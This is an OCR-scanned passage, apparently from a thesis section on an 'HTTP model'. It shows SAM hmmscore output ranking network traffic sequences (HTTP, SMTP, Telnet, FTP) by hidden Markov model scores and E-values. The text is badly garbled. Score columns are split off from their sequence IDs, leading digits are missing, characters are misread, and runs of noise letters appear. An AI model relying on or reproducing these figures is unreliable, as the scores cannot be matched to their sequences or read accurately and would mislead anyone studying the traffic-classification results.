[SMTP]26128FF
[FTPDATA]2423300
[SMTP]2D670D6
[SMTP]2D634A2
[HTTP]260F48A
[FTPDATA]2D603F7
[FTPDATA]260E7D4
[SMTP]2613322
[SMTP]260E6D9
[Telnet]S5E54A21
[HTTP]12120122
[Telnet]B21B22
[FTPCTRL] 8928FA
[FTPCTRL]24226E2
[FTPCTRL]F30BCCo6
[SMTP]2612901
[HTTP]2120344
[SMTP]260F94E
[FTPCTRL]2962B9C1
[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[

[ U S ]

SMTP]88C4A6
FTPCTRL]B20A82
FTPCTRL] 34D344FA
FTPCTRL]3C1180A
FTPCTRL] 3C0C262
SMTP]2612386
Telnet] 5E549F8
SMTP]26136D2
HTTP
HTTP

21204AB
211FF1l6
HTTP]1212044D
HTTP]BO521F
HTTP]2120961
Telnet]2D60C1B
SMTP]2D6731E
SMTP]26128FD
FTPCTRL] 3COE3BA
FTPCTRL] 3897042
HTTP]2120229
SMTP]2D66E6G7
FTPCTRL] 2EE3ECB
FTPDATA] 260E95E
FTPDATA]14A1FEF8
FTPDATA] 3CODCDF
FTPDATA]2613CBC
Telnet] 5BDAADG

]
]
]
]

.87
.83
.96
.71
.54
.66
.87
.95
.95
.95
.82
.15
.15
.11
.06
.06
.65
.16
.70
.47
.35
.83
.83
.83
.60
.93
.09
.34
.21
.71
.71
.71
.71
.57
.73
.89
.36
.05
.19
.30
.85
.97
.18
.38
.09
.09
.26
.13
.28
.18
.07
.07
.07
.99
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.18
.16
.14
.14
.14
.12
.12
.11
.11
.11
.11
.09
.09
.03
.02
.02
.96
.93
.87
.79
.78
.76
.76
.76
.76
.75
.61
.57
.56
.51
.51
.51
.51
.44
.42
.41
.38
.37
.36
.33
.32
.30
.26
.25
.24
.24
.21
.17
.15
.08
.08
.08
.08
.08

NDNDODNNDNDNDNDNDNDNDNDNDNDNDNDNDNDNDMNDNDNDMNDMNDNDNDNDMNdDNDNNREF R RrPRERrRrRrPRRRRRRRrRRRRRRRRERR

.69e+02
.70e+02
.72e+02
.72e+02
.72e+02
.73e+02
.73e+02
.74e+02
.74e+02
.74e+02
.74e+02
.75e+02
.75e+02
.80e+02
.8le+02
.81le+02
.85e+02
.87e+02
.91e+02
.97e+02
.98e+02
.99%e+02
.99%9e+02
.99%9e+02
.99%9e+02
.00e+02
.10e+02
.13e+02
.14e+02
.17e+02
.17e+02
.17e+02
.17e+02
.22e+02
.24e+02
.25e+02
.26e+02
.28e+02
.28e+02
.30e+02
.31e+02
.32e+02
.35e+02
.35e+02
.36e+02
.36e+02
.38e+02
.41e+02
.42e+02
.46e+02
.46e+02
.46e+02
.46e+02
.46e+02



[HTTP] 9AA48D
[Telnet]B25181
[FTPDATA]2D66BD8
[FTPDATA]583D33
[FTPDATA]2613CB6
[FTPDATA]2613FC6
[FTPDATA]24232FE
[FTPDATA]583D30
[FTPDATA]260E7D2
[Telnet]B21E50
[FTPDATA]2D603F6
[FTPDATA]260E7D3
[Telnet]242103F
[SMTP]891E28
[FTPCTRL]260E869
[FTPCTRL]B207D6
[Telnet]260EE11l
[Telnet]193E4BS8
[Telnet] 5E53FEL
[Telnet]2D67ADF
[Telnet] 3898BE7
[Telnet]2123729
[Telnet]3898584
[Telnet]260EFCF
[Telnet]2421051
[Telnet]193E424
[HTTP]21206EE
[FTPCTRL]B23F13
[HTTP]21203A9
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[

S R Y

HTTP]21206ED
HTTP]2125917
Telnet]B253FD
Telnet]2420DF8
SMTP]2612D0OE
SMTP]2610A7A
SMTP]2D674DE
Telnet]211D942
FTPCTRL] 3C0C1D1
Telnet] 5BDA236
HTTP]26109B6
Telnet]124263DB
Telnet]B1F298
FTPCTRL]892A71
FTPCTRL] 3C113BF
Telnet] 5E53E88
Telnet]B2416D
SMTP]2D6734D
SMTP]2613338
Telnet]193E5F2
Telnet]2421264
Telnet]2421225
Telnet]2D67664
Telnet]
Telnet]

24264BA
5E53EDO

31
51
30
34
34
34
14
31
11
51
48
48
51
51

51
51
48
51
51
51
51
51
51
51
51

21
51
36
51
51
37
37
37
51

51
36
51
51

51
51
22
39
51
51
51
51
51
51

.08
.20
.52
.39
.39
.39
.28
.49
.52
.99
.05
.05
.18
.28
.43
.36
.69
.69
.63
.08
.50
.35
.24
.24
.24
.02
.42
.16
.25
.36
.05
.95
.95
.56
.56
.56
.61
.46
.31
.76
.95
.26
.39
.39
.79
.86
.36
.50
.03
.03
.03
.22
.22
.22
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.08
.08
.08
.08
.08
.08
.08
.08
.08
.08
.08
.08
.06
.05
.04
.04
.03
.03
.03
.02
.02
.02
.02
.02
.02
.01
.01
.01
.01
.01
.01
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.01
.01
.01
.01
.01
.01

NN NN NDNDNNDNNNDNDNODNDNODNDNNDNDNNDNDNNDNODNDNDNDNNDNNDNNDNDNDMNDMNDNDNDNDNDNDNDMNDMNDNDMNDMNDNDNDMNDMNDMDMNDMNDDNDNDNDDNDDNDDND

.46e+02
.46e+02
.46e+02
.46e+02
.46e+02
.46e+02
.46e+02
.46e+02
.46e+02
.46e+02
.46e+02
.46e+02
.47e+02
.48e+02
.48e+02
.48e+02
.49e+02
.49e+02
.49e+02
.49e+02
.49e+02
.49e+02
.49e+02
.49e+02
.49e+02
.49e+02
.49e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.50e+02



Telnet]
Telnet]5E540DF
Telnet]2617CCA
Telnet]211D9A4
HTTP]2125C3F
HTTP]2611845
SMTP]261113F
FTPDATA] 2D66AFE
FTPDATA]24232FF
Telnet]211D81C
Telnet]24210CF
Telnet]212380F
Telnet]24240E4
HTTP]58331A
Telnet]B1F760
Telnet]2616798
Telnet]2420C2C
HTTP]12120409
Telnet]26148C8
Telnet]2610677
Telnet]242658B
Telnet]2420FE4
Telnet]2423E2A
Telnet] 5BDAADF
HTTP]212044cC
HTTP]3C1349A
Telnet]2420EA5

[ 2614C46
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[HTTP]260EAE4
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[

[ I

Telnet]540FD38
Telnet]193E55C
HTTP]12120828
SMTP]2D65B22
SMTP]26128F9
HTTP]26106E9
FTPCTRL]2D662D0

FTPCTRL]22A0CB3E

FTPCTRL]211B19F
FTPCTRL]3896FCB
HTTP]212010A
HTTP]212040F
Telnet]3898Co6D
HTTP]212040C
FTPCTRL]24210B5
Telnet]3898C37
HTTP]334A07A
HTTP]2610376
FTPCTRL] 2EE3F3C
Telnet]8901FC
Telnet]2D672CB
Telnet]2423FF6
Telnet]2617CD7
SMTP]260F965
SMTP]260F966
FTPDATA]2D6700D

.22
.22
.26
.26
.75
.96
.35
.52
.28
.52
.52
.09
.98
.89
.52
.91
.81
.66
.64
.76
.18
.18
.87
.87
.19
.71
.80
.68
.80
.02
.36
.21
.64
.86
.90
.90
.90
.89
.90
.80
.90
.66
.01
.52
.29
.73
.48
.54
.48
.52
.90
.15
.15
.63
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.01
.01
.01
.01
.01
.02
.02
.02
.02
.02
.02
.02
.02
.02
.02
.02
.02
.02
.03
.03
.03
.03
.03
.03
.05
.06
.08
.08
.08
.09
.10
.10
.26
.26
.33
.33
.33
.34
.42
.42
.47
.54
.57
.59
.67
.80
.84
.86
.88
.88
.88
.00
.00
.02

WWWWWWWWWNMNDNDNNNNDNNONNNNDNNODNODNDNNDNODNONNNNDNODNDNNDNODNODNNDNDMNODNDNDNDNODNDNDNDNDNDNDNDNDNDMNDNDNDNDNDDNDDNDDN

.50e+02
.50e+02
.50e+02
.50e+02
.50e+02
.51e+02
.51e+02
.51e+02
.51e+02
.51e+02
.51e+02
.51e+02
.51e+02
.51e+02
.51e+02
.51e+02
.51e+02
.51e+02
.51e+02
.51e+02
.51e+02
.51e+02
.51e+02
.51e+02
.52e+02
.53e+02
.54e+02
.54e+02
.54e+02
.54e+02
.55e+02
.55e+02
.65e+02
.65e+02
.70e+02
.70e+02
.70e+02
.71e+02
.76e+02
.76e+02
.79%9e+02
.85e+02
.87e+02
.88e+02
.94e+02
.04e+02
.06e+02
.08e+02
.10e+02
.10e+02
.10e+02
.18e+02
.18e+02
.20e+02



[FTPDATA]2D66BE1
[HTTP]2120827
[HTTP]211DD2D
[Telnet]3898C3E
[SMTP]2610250
[SMTP]540DC17
[SMTP]260E83D
[Telnet]2421132
[Telnet]2614F95
[FTPCTRL] 2EE47BD
[Telnet]260EF52
[FTPCTRL]B245D6
[Telnet]211E5A6
[HTTP]2120960
[Telnet]2617CF8
[HTTP]21203A5
[HTTP]212044F
[Telnet]88FF20
[FTPCTRL]2D61CCA
[FTPCTRL]B2098A
[FTPCTRL]242102D
[FTPCTRL]3C11349
[FTPCTRL]212060A
[SMTP]261059C
[SMTP]2611DCF
[HTTP]2612082
[HTTP]58331C
[FTPDATA]2421038
[SMTP]2422BF6
[Telnet]24262AE
[FTPCTRL] 3898E5B
[FTPCTRL]3C11474
[FTPCTRL] 3Cl16A4
[FTPCTRL]2D65B8D
[FTPCTRL]3C0C22A
[FTPCTRL]242260B
[FTPCTRL] 3899046
[FTPCTRL]B2435D
[FTPCTRL]212060E
[FTPCTRL]3C0OES5C4
[FTPCTRL] 8928F8
[FTPCTRL] 3896FEA
[FTPCTRL]2D6633D
[ 12421034
[ ]2EE3FE9
[ 13COE5D7
[ 138990B9
[ ]88FAE9
[ 124226E8
[ 13897037
[ 188FECY
[ 1211B129
[ 18929C5
[ ]

3898F08

FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL

(G BNG2 NG, BNG) RNE, ING BN G2 NG NG BNG BNG) NG BC2 BN G BNC) BNG2 BN G BNG ) I G I C2 B G2 BN G NN E) |

.63
.50
.98
.73
.15
.09
.33
L11
.75
.03
.12
.61
.03
.22
.08
.61
.61
.57
.33
.33
.33
.33
.33
.25
.25
.51
.66
.71
.31
.76
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.00
.99
.99
.99
.99
.99
.99
.99
.99
.99
.99
.99
.99
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.02
.04
.18
.20
.22
.32
.50
.65
.74
.83
.87
.94
.98
.04
.05
.06
.06
.18
.22
.22
.22
.22
.22
.26
.26
.46
.48
.71
.24
.30
.55
.55
.55
.55
.55
.55
.55
.55
.55
.55
.55
.55
.56
.56
.56
.56
.56
.56
.56
.56
.56
.56
.56
.56

SO DD DD D DD D D D D DD D D DD D DD DD D DD DD W WWW W W W W WWWWWWWWWwWwwWwwwww

.20e+02
.21e+02
.31e+02
.33e+02
.34e+02
.41e+02
.54e+02
.64e+02
.70e+02
.75e+02
.78e+02
.83e+02
.85e+02
.89%9e+02
.89%9e+02
.90e+02
.90e+02
.97e+02
.99%9e+02
.99%9e+02
.99%e+02
.99%e+02
.99%9e+02
.0le+02
.0le+02
.12e+02
.13e+02
.24e+02
.46e+02
.48e+02
.56e+02
.56e+02
.56e+02
.56e+02
.56e+02
.56e+02
.56e+02
.56e+02
.56e+02
.56e+02
.56e+02
.56e+02
.56e+02
.56e+02
.56e+02
.56e+02
.56e+02
.56e+02
.56e+02
.56e+02
.56e+02
.56e+02
.56e+02
.56e+02



[FTPCTRL]89290B
[FTPCTRL] 2422098
[HTTP]12120826
[SMTP]260F663
[SMTP]2610A5C
[SMTP]2610265
[FTPCTRL]24221FE
[FTPCTRL]211B184
[FTPCTRL]2421001
[FTPCTRL]B23FDE
[Telnet]2D6745D
[FTPCTRL] 3C0C231
[HTTP]12611350
[FTPCTRL]3897B02
[ 3792E236
[ 3897B42
[ 88FC22

[ 88FC1F

[
[
[
[
[
[

FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL
FTPCTRL]21205D2
FTPCTRL] 3COE54E
FTPCTRL] 3897A2F
HTTP]212022B
Telnet]2614F57
Telnet] 5BDAABG6

[ O U S Y

5 -6.99 3.56 4.56e+02
5 -6.99 3.56 4.56e+02
51 -4.60 3.75 4.61le+02
36 -7.86 3.84 4.64e+02
36 -6.84 3.99 4.67e+02
36 -7.23 4.14 4.70e+02
5 -7.81 4.43 4.76e+02
5 -7.81 4.43 4.76e+02
5 -7.81 4.43 4.76e+02
5 -7.81 4.43 4.76e+02
51 -10.01 4.83 4.82e+02
5 -7.12 5.11 4.86e+02
51 -6.78 5.14 4.86e+02
5 -7.05 5.18 4.86e+02
5 -7.04 5.19 4.86e+02
5 -7.04 5.19 4.86e+02
5 -7.04 5.19 4.86e+02
5 -7.04 5.19 4.86e+02
5 -7.04 5.19 4.86e+02
5 -7.04 5.19 4.86e+02
5 -7.04 5.19 4.86e+02
51 -6.96 5.41 4.88e+02
51 -3.34 7.03 4.97e+02
51 -13.54 9.48 5.00e+02

7.5.3. MODELO HTTP

oC o o o° o° o oP

o°

R. Hughey,

o°

o°

K. Karplus,

o\

001.

o° N

o° o

o\

normHTTP
edsheut

o o

oe

Inserted Files:
Database Files:

o o° o° o° o° e o

oe

Original

SAM: hmmscore v3.5
(c) 1992-2001 Regents of the University of California,

Extension and analysis of the basic method, CABIOS 12:95-107,
et al.,
structure prediction,

A. Krogh et al.,
Applications to protein modeling,
Host:
Dir:

Subsequence-submodel
Simple scores adjusted by +1.5*1n(seq len)
Track 0 FIMs added
Single Track Model:
Average encoding costs
(1.0000,

(July 15, 2005) compiled 07/19/05 11:12:12

Santa Cruz

Sequence Alignment and Modeling Software System
http://www.cse.ucsc.edu/research/compbio/sam.html

(SAM, SAM-T2K, HMMs)

Citations

A. Krogh, Hidden Markov models for sequence analysis:

1996.
What is the value added by human intervention in protein
Proteins: Stucture, Function, Genetics 45(S5):86--91,

Hidden Markov models in computational biology:

JMB 235:1501-1531, Feb 1994.
Sheut Sat Sep 26 23:20:35 2009
/home/edsheut/TEST
HTTP.mod
normales.seq
(local) (SW = 2)
(adjust_score = 2)

(geometric mean of match probabilities (6))
HTTP.mod
(nats)

1.0000) :

for (tau, lambda)

4.0585
319

settings:



o

Calibrated
Lambda fit
Not fitted

A° 0° o° o A o° o° o° oo o°

o

Simple:
Reverse:

o° oo

o

E-value on N
N /

o o° o o°

o

Sequence ID
HTTP]2611350
HTTP]260FAA4C
HTTP]21206EE
HTTP]2120827
HTTP]211DD2D
HTTP]2120961
HTTP]2120345
HTTP]211FF16
HTTP]212040C
HTTP]260FA4B
HTTP]3C13499
HTTP]2120408
HTTP]21206EF
HTTP]2125916
HTTP]212040A
HTTP]2610EBS
HTTP]2120346
HTTP]211DD5B
HTTP]2611847
HTTP]B1FEED
HTTP]21204C1
HTTP]21203A8
HTTP]2120452
HTTP]BO521E
HTTP]3C1349A
HTTP]2120347
HTTP]2125C3E
HTTP]211FF17
HTTP]334A07B
HTTP]2120828

L b L L b b L L L b b b L b b b L b b b b L b b L L L

HTTP]2120122
HTTP]211DD59

Lo e M B e B B B I B I e R e i R e T T I R e T R R e e T I I e B B B B e el o)

(0.7683,
(1.0000,
(1.0000,

Score DP Method:
Align DP Method:
500 sequences,

Sequence scores selected:

Telnet] 5BDA237

viterbi
17947 residues,

sequences:

Length
51
51
51
51
51
51
51
51
51
51
51
51
51
51
51
51
51
51
51
51
51
51
51
51
51
51
51
51
51
51
51
51
51

0.9535):
0.6768):
1.0000) :
Calibration data for 500 database sequences
154 of 500 scores > calibrate threshold (0)
viterbi single-path
(adpstyle
63 nodes,

All

3.0756

3.3936

4.0

585

used.

(dpstyle = 1)

1)

0.12 seconds

(select score=8)

NLL-NULL using FIM probabilities

NLL-NULL for the reverse sequence NULL model
Calculated when Simple < simple threshold (10000.00)
(=500)
(1 + exp(-(lambda (=0.9535)

* Reverse) "tau(=0.7683)))

best first

Simple

=21
-21

-20.
-21.
-20.

-20

-20.
-19.

-20
-20
-20

-19.

-19

-19.

-19
-19
-18

-19.
-19.
-18.

-18

-19.
-19.
-18.

-18

-18.
-18.
-18.

-18

-18.
-18.

-18
-20

.83
.39
77
17
99
.57
35
86
.51
.53
.22
63
.57
71
.57
.54
.91
48
07
92
.65
04
02
89
.78
62
64
62
.70
68
43
.28
.74
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Reverse
-17.04
-16.13
-15.98
-15.93
-15.87
-15.31
-15.14
-15.07
-15.06
-15.06
-14.906
-14.73
-14.43
-14.26
-14.20
-14.106
-14.12
-14.04
-13.90
-13.88
-13.86
-13.84
-13.76
-13.72
-13.70
-13.60
-13.60
-13.58
-13.49
-13.42
-13.17
-13.13
-13.12

Calculated when Simple < simple threshold (10000.00)
Rescale E-values or use -dbsize for multiple scoring runs.
Scores sorted by E-value,

X count



HTTP
HTTP

[ 1260ED37

[ 158331C
[HTTP]12120120
[HTTP]12611845
[HTTP]21204C3
[Telnet] 5E53FDE
[HTTP]2120229
[HTTP]21204AC
[HTTP]583319
[Telnet]211E7F3
[HTTP]BO521F
[FTPDATA] 3CODCE2
[FTPDATA]389816E
[FTPDATA]2D6700B
[FTPDATA] 2D66BDF
[HTTP]334A07A
[HTTP]12610068
[FTPDATA] 2CFE98F
[FTPDATA]260E95F
[HTTP]2125917
[HTTP]21204AB
[HTTP]21204C2
[HTTP]211DD2E
[HTTP]24251B5
[HTTP]260F48A
[HTTP]21206EC
[HTTP]2125C41
[HTTP]2120121
[HTTP]12120409
[HTTP]211DD5A
[Telnet]389854B
[FTPDATA]2D665A1
[HTTP]2120272
[HTTP]21203A7
[HTTP]2125C3F
[FTPDATA]2123BOF
[FTPDATA] 2D603F7
[FTPDATA]260E7D4
[HTTP]58331B
[HTTP]260F8CB
[HTTP]21206ED
[HTTP]212010A
[HTTP]260F0B7
[Telnet]212380F
[HTTP]26109B6
[HTTP]12120450
[FTPDATA] 2D66AFA
[HTTP]2125C40
[HTTP]26106E9
[FTPDATA]2421037
[FTPDATA]2123B13
[Telnet]193E55C
[Telnet]B24E8A
[FTPDATA]2D66BD9

51
51
51
51
51
51
51
51
51
51
51
51
51
51
51
51
51
51
51
36
51
17
25
27
30
51
36
51
51
51
51
51
51
51
36
51
51
51
51
51
51
36
36
51
36
51
51
51
51
51
51
51
51
51

-18.
-19.
-19.
-18.
.29
-17.
-18.
-17.
-18.
-17.
-17.
-17.
-17.
-16.
-16.
.83
-16.
.20
.20

-18

-14

-14
-14

-14.
.28
-20.
-20.
.28

-14

-20

-20.
-13.
-16.
-16.
-14.
-14.
-13.
-13.
-13.
-14.
-13.
-15.
-14.
-14.
-15.
-19.
-13.
-13.
-13.
-13.
-13.
.83
-13.
-18.
-14.
.45
-14.
-13.
-12.
.07

-14

-12

-14

19
25
75
06

43
79
98
93
18
54
12
12
49
49

49

92

86
38

13
95
64
66
86
07
87
41
89
72
99
08
62
62
05
33
43
80
81
42
62

06
78
75

67

62
42
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.01
.96
.92
.85
.84
.64
.58
.54
.44
.39
.34
.74
.74
.45
.45
.05
.79
.66
.66
.32
.07
.98
.98
.98
.98
.87
.79
.79
T
.70
.61
.54
.52
.51
.42
.38
.35
.35
.30
.25
.18
.13
.12
.04
.01
.01
.92
.88
.37
.30
.19
.17
.15
.13
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.93e-01
.03e-01
.12e-01
.26e-01
.28e-01
.73e-01
.89%e-01
.98e-01
.23e-01
.36e-01
.50e-01
.32e-01
.32e-01
.39%e-01
.39%e-01
.71e+00
.91e+00
.02e+00
.02e+00
.35e+00
.62e+00
.72e+00
.72e+00
.72e+00
.72e+00
.87e+00
.96e+00
.97e+00
.00e+00
.09%9e+00
.21e+00
.32e+00
.35e+00
.37e+00
.50e+00
.57e+00
.61e+00
.61e+00
.69e+00
.78e+00
.91e+00
.99%e+00
.01e+00
.16e+00
.21e+00
.21e+00
.39%9e+00
.47e+00
.65e+00
.82e+00
.12e+00
.19e+00
.25e+00
.31e+00



[FTPDATA]2D67005
[Telnet] 5E540E3
[Telnet]B253FD
[Telnet]2420DF8
[FTPDATA]2D67006
[FTPDATA] 2D66BDA
[FTPDATA]2123B10
[HTTP]260EEBS5
[HTTP]21206EA
[HTTP]211FF18
[Telnet]2616798
[Telnet]B218A6
[Telnet]2617CF8
[FTPDATA] 3CODCEO
[FTPDATA]2613CBD
[FTPDATA]2D6659C
[Telnet] 5BDAADG
[HTTP]2120960
[HTTP]212040F
[Telnet]2614EE4
[HTTP]2120109
[HTTP]2120348
[FTPDATA]260E7DO0
[HTTP]2120344
[HTTP]212044E
[Telnet]3898C37
[HTTP]2610C4B
[HTTP]58331A
[HTTP]212022A
[SMTP]2422BF6
[FTPDATA]2613CBS8
[FTPDATA]2D63FEA
[FTPCTRL]B20BEC
[Telnet]B1F298
[Telnet]211E5E1
[Telnet]2423E05
[HTTP]334A07C
[FTPCTRL] 3COES4E
[FTPCTRL] 88FC1F
[FTPDATA]2D66BDB
[FTPDATA]2D67007
[FTPCTRL] 2EE3ECB
[FTPCTRL] 3COE3BA
[FTPCTRL] 3897042
[Telnet]2421051
[FTPDATA]2613FC5
[FTPDATA]2613CB5
[FTPDATA]583D32
[HTTP]212095F
[FTPCTRL]260E805
[HTTP]21203A9
[Telnet]8901FC
[FTPDATA] 3C0ODCDD
[FTPDATA] 2D63FEC

51
51
51
51
51
51
51
12
24
33
51
51
51
51
51
51
51
51
36
51
36
22
36
51
36
51
12
13
28
51
51
51

51
51
51
25

51
51

51
51
51
51
24

21
51
51
51

.07
.48
.29
.29
.38
.38
.38
1
.46
.04
.81
.73
.53
.46
.46
.68
.80
.41
.44
.67
.05
.19
.53
.05
.97
.56
.20
.51
.83
.01
.38
.38
.04
.22
.41
.61
.32
.18
.18
.62
.62
.92
.98
.98
.23
.02
.02
.02
.06
.79
.14
.36
.29
.29
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.13
11
.09
.09
.00
.00
.00
.00
.00
.00
.60
.58
.45
.42
.42
.31
.30
.23
.84
.74
.64
.60
.60
.15
.08
.06
.93
.89
.85
.76
.67
.67
.55
.32
.24
.24
.24
.22
.22
.19
.19
.12
.05
.05
.98
.95
.95
.95
.93
.91
.88
.87
.61
.61
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.31e+00
.38e+00
.44e+00
.44e+00
.69e+00
.69%9e+00
.69%9e+00
.69e+00
.69e+00
.69e+00
.07e+00
.14e+00
.66e+00
.81e+00
.81e+00
.28e+00
.30e+00
.61e+00
.16e+01
.21e+01
.28e+01
.31e+01
.31e+01
.62e+01
.68e+01
.69e+01
.81le+01
.84e+01
.88e+01
.96e+01
.05e+01
.05e+01
.18e+01
.44e+01
.55e+01
.55e+01
.55e+01
.58e+01
.58e+01
.6le+01
.61le+01
.70e+01
.80e+01
.80e+01
.91e+01
.95e+01
.95e+01
.95e+01
.98e+01
.01le+01
.006e+01
.07e+01
.50e+01
.50e+01



[FTPDATA]2613CBA
[Telnet]2617CCA
[HTTP]121203A6
[FTPCTRL]3897B02
[HTTP]2120271
[HTTP]2610376
[FTPDATA] 3CODCE3
[FTPDATA]389816F
[HTTP]2120451
[SMTP]260E6EOQ
[FTPCTRL]2D662C7
[FTPCTRL]B24344
[FTPCTRL]2D6634B
[FTPDATA]583D2F
[FTPDATA]2D67009
[FTPDATA] 2423304
[FTPDATA] 2D66BDD
[SMTP]2612900
[FTPDATA]260E95C
[SMTP]2610251
[HTTP]2611846
[SMTP]540DC12
[SMTP]260EE83
[Telnet] 5BDAABG
[SMTP]2610250
[Telnet]260EEQ04
[SMTP]891E27
[FTPCTRL]2D6189D
[Telnet]2614989
[Telnet]88EF06
[SMTP]2613338
[FTPDATA]3898173
[FTPDATA]3220B199
[Telnet]88E1E2
[SMTP]891E28
[FTPDATA]2423301
[SMTP]891E29
[FTPCTRL] 22A0CB3E
[FTPCTRL]2D662DO0
[FTPCTRL]211B19F
[Telnet]2123629
[SMTP]1261237C
[HTTP] 9AA48C
[FTPDATA]2423303
[FTPDATA]583D2E
[SMTP]261059C
[SMTP]2611DCF
[FTPDATA]2423302
[SMTP]260EE77
[SMTP]2D6734E
[Telnet]2D672CB
[Telnet]3898584
[SMTP]88C4A6
[SMTP]260E84F

.29
.94
.82
.50
T
.95
.36
.36
.70
.56
.60
.60
.60
.90
.90
.90
.90
.05
.97
.06
.40
.86
.86
.09
.66
.07
.39
.11
.25
.69
.44
.59
.59
.59
.39
.33
.39
.26
.26
.26
.12
.54
.21
.68
.68
.75
.75
.46
.04
.83
.63
.50
.20
.95
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.61
.56
.56
.54
.51
.37
.29
.29
.28
.28
.28
.28
.28
.22
.22
.22
.22
.13
.11
.06
.05
.97
.97
.94
.90
.81
.79
.79
.62
.62
.55
.53
.52
.51
.45
.44
.40
.30
.30
.30
.30
.30
.20
.20
.20
.19
.19
.14
.05
.02
.88
.88
.81
.81

0O OO WOW-TJJJJJJJODO0OHOOHOHOHOHOHOHOHNOOO U1rUr Ul U Ul bbb Db DD DD DD DD DD WWwWwwww

.50e+01
.60e+01
.60e+01
.63e+01
.70e+01
.98e+01
.13e+01
.13e+01
.15e+01
.15e+01
.15e+01
.15e+01
.15e+01
.28e+01
.28e+01
.28e+01
.28e+01
.50e+01
.54e+01
.66e+01
.67e+01
.88e+01
.88e+01
.96e+01
.05e+01
.31le+01
.36e+01
.37e+01
.86e+01
.87e+01
.06e+01
.15e+01
.16e+01
.20e+01
.41e+01
.43e+01
.59%9e+01
.91e+01
.91e+01
.91e+01
.92e+01
.94e+01
.28e+01
.30e+01
.30e+01
.32e+01
.32e+01
.52e+01
.88e+01
.03e+01
.62e+01
.62e+01
.94e+01
.95e+01



[Telnet]2617CD7
[SMTP]261059D
[FTPDATA]204F1366
[SMTP]540DC17
[Telnet]88FF20
[Telnet]38985B5
[Telnet] 2D60ERBB
[Telnet]B21D15
[SMTP] 260EAAF
[SMTP]2610284
[SMTP]260E84E
[SMTP]260E83B
[HTTP]212040B
[Telnet]B21E50
[SMTP]2612383
[FTPDATA]2613FC6
[FTPDATA]583D33
[FTPDATA]2613CB6
[HTTP]260EAE4
[SMTP]260EEC9
[SMTP]2611D6B
[FTPDATA]2613FC4
[FTPDATA]2613CB4
[FTPDATA]583D31
[FTPDATA]26739D2B
[FTPDATA] 3CODCDF
[FTPDATA]2613CRBC
[FTPDATA]14A1FEF8
[FTPDATA]260E7D3
[FTPDATA]2D603F6
[FTPDATA]260E95E
[FTPDATA]583D30
[FTPDATA]2D66BDS8
[HTTP] 9AA48D
[SMTP]260E6D9
[SMTP]26105E3
[Telnet]2123729
[Telnet]260EF52
[FTPDATA]3C10EDG6
[Telnet]2D6745D
[Telnet]3898BE7
[Telnet]211E5A6
[SMTP]260F1C2
[SMTP]260F1BF
[SMTP]2610A77
[FTPDATA]2D671A3
[FTPCTRL] 3897A2F
[HTTP]260E691
[SMTP]261113F
[FTPDATA]2123B12
[FTPDATA]260E95B
[FTPDATA]260E7CF
[Telnet]211DAFS8
[SMTP]2D634A2

]
]
]
]
]
]
]
]
]
]

51
29
51
16
51
51
51
51
19
23
23
30
51
51
20
34
34
34
36
31
31
51
51
51
51
47
47
47
48
48
42
31
30
31
27
20
51
51
27
51
51
20
26
26
36
51

15
36
51
23
23
51
51

.95
.79
.46
.90
.19
.51
.51
.51
.25
.14
.14
.17
.59
.04
.68
.06
.06
.06
.76
.16
.16
.83
.83
.83
.74
.96
.96
.96
.94
.94
.07
.01
.99
.56
.49
.23
.80
.30
.92
.51
.86
.76
.57
.57
.18
.21
.50
.52
.63
.96
.84
.84
.94
.29
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.80
.80
.78
.78
.74
.72
.72
.72
.69
.68
.68
.57
.55
.55
.54
.50
.50
.50
.49
.49
.49
.41
.41
.41
.40
.39
.39
.39
.39
.39
.39
.36
.30
.28
.22
.18
.17
.14
.13
.10
.08
.05
.04
.04
.95
.93
.92
.92
.91
.90
.89
.89
.85
.84
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.00e+01
.01le+01
.11le+01
.13e+01
.32e+01
.40e+01
.40e+01
.40e+01
.54e+01
.63e+01
.63e+01
.02e+02
.03e+02
.03e+02
.03e+02
.06e+02
.06e+02
.06e+02
.06e+02
.06e+02
.06e+02
.11e+02
.11le+02
.11le+02
.11le+02
.12e+02
.12e+02
.12e+02
.12e+02
.12e+02
.12e+02
.14e+02
.17e+02
.19%9e+02
.22e+02
.26e+02
.26e+02
.28e+02
.29%e+02
.31e+02
.32e+02
.35e+02
.35e+02
.35e+02
.42e+02
.43e+02
.44e+02
.44e+02
.45e+02
.46e+02
.47e+02
.47e+02
.50e+02
.50e+02



FTPCTRL]2D61952
FTPCTRL] 389702F
SMTP]2611D9E
SMTP]260F966
SMTP]260F965
SMTP]260F662
SMTP]
SMTP]540DC15
Telnet]2610677
FTPDATA]24232FE
SMTP]26128F9
Telnet]2420EAS
SMTP]260F1BE
FTPDATA]389816D
FTPDATA] 3CODCE1
Telnet]2617C71
Telnet]2423FF6
Telnet]3898C3E
Telnet]5BDA236

]

]

2613775

[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[Telnet]5E53E7D
[Telnet]5E540DF
[Telnet]5E53E88
[SMTP]260E616
[SMTP]2611D51
[Telnet]B25181
[Telnet]2D67664
[FTPCTRL]212060C
[FTPCTRL] 2FO0F96BD
[FTPCTRL]211B17A
[FTPCTRL]3897A74
[FTPCTRL]2B539611
[FTPCTRL]2120C20
[FTPDATA]
[FTPDATA]
[FTPDATA]2421036
[FTPDATA]260E95D
[FTPCTRL] 2EE3A38
[SMTP]26136D2
[SMTP]260E83D
[Telnet]B1lF63F
[Telnet]B1F760
[Telnet]B21B22
[HTTP]21203A5
[HTTP]212044F
[FTPCTRL]B23FDE
